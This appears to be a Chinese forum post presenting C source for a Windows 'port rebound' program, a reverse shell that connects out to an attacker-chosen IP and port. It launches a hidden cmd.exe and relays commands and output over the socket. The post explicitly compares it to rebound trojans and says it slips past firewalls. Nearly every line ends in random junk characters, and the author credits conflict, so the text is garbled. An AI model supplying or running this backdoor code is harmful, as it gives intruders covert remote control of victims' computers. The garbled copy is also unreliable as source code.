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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >s&XX, w  
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/* ============================== ?4^} ;wDb2  
Rebound port in Windows NT N83!C=X'  
By wind,2006/7 NX?}{'f  
===============================*/ 2(pLxVl  
#include n_v02vFAHT  
#include HLVQ7  
$=/rGpAk  
#pragma comment(lib,"wsock32.lib") Zr=ib  
BU`ckK\(  
void OutputShell(); >tN5vWW  
SOCKET sClient; w4UD/zO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T/ik/lFI  
13H;p[$  
void main(int argc,char **argv) yE#g5V&  
{ FC{})|yh }  
WSADATA stWsaData; Z:!IX^q;}n  
int nRet; C,fY.CeI  
SOCKADDR_IN stSaiClient,stSaiServer; a"x}b  
8) HBh7/  
if(argc != 3) g0PT8]8  
{ )IHG6}<  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0LdJZP  
return; 5$kdgFq(  
} ?-f,8Z|h  
zVw:7-  
WSAStartup(MAKEWORD(2,2),&stWsaData); xYPxg!  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6#U^< `  
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stSaiClient.sin_family = AF_INET; M ,`w A  
stSaiClient.sin_port = htons(0); l-<`m#/v  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M diw Ri  
M*w'1fT  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TkRmV6'w  
{ O#)jr-vXdV  
printf("Bind Socket Failed!\n"); vy [C'a  
return; 7b,(\Fm  
} 3@_Elu  
x:fW~!Xc6  
stSaiServer.sin_family = AF_INET; lj4o#^lC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X %4Kj[I^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D<>@ %"%  
u#@RM^738d  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .XS9,/S  
{ ?2 f_aY ;  
printf("Connect Error!"); x6W `hpL  
return; yz8jU*H  
} #$E)b:xj  
OutputShell(); q9]IIv  
} %%JMb=!%2  
H,y4`p 0  
void OutputShell() ]rN#B-aAr  
{ +?dl`!rE  
char szBuff[1024]; ^5; `-Ky  
SECURITY_ATTRIBUTES stSecurityAttributes; yK%ebq]  
OSVERSIONINFO stOsversionInfo; {A:j[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m@Rtlb  
STARTUPINFO stStartupInfo; ]uQqn]+I!  
char *szShell; t:)ERT")  
PROCESS_INFORMATION stProcessInformation; ._PzYE|m2  
unsigned long lBytesRead; :O= \<t  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }4//@J?:  
SF[FmN!^^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~1L:_Sg*  
stSecurityAttributes.lpSecurityDescriptor = 0; SUM4Di7  
stSecurityAttributes.bInheritHandle = TRUE; /i]y$^  
eq4C+&O&  
`bjizS'^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y>+y(ck  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qIMA6u/  
m P'^%TE  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p< "3&HA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z\}K{#   
stStartupInfo.wShowWindow = SW_HIDE; =#gEB#$x:  
stStartupInfo.hStdInput = hReadPipe; W ~f(::  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k%]=!5F  
%zk$}}ti.  
GetVersionEx(&stOsversionInfo); ,#?uJTLH  
)lk&z8;.=  
switch(stOsversionInfo.dwPlatformId) a ^d8I  
{ ?L&|Uw+  
case 1: 03E4cYxt5  
szShell = "command.com"; /,=@8k!t?  
break; mE%$HZ}  
default: 29CINC  
szShell = "cmd.exe"; I`KQ|h0%  
break; 0sca4G0{  
} kVK/9dy-F  
&e-U5'(6v_  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?;/^Ya1;Z  
evkH05+;W  
send(sClient,szMsg,77,0); b2b?hA'k  
while(1) b306&ZVEk  
{ J:&[ 59  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )XcOl7XLN  
if(lBytesRead) <\kr1qH H  
{ tyaA\F57  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); iY"l}.7)  
send(sClient,szBuff,lBytesRead,0); >h0-;  
} U!U$x74D5  
else L|bwZ,M=}?  
{ P) 3mX.(}  
lBytesRead=recv(sClient,szBuff,1024,0); OO[F E3F  
if(lBytesRead<=0) break; GFr|E8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ( =~&+z  
} UfS%71l.$  
} y ]?V~%  
&gzCteS  
return; 23 ~ Sjr  
}
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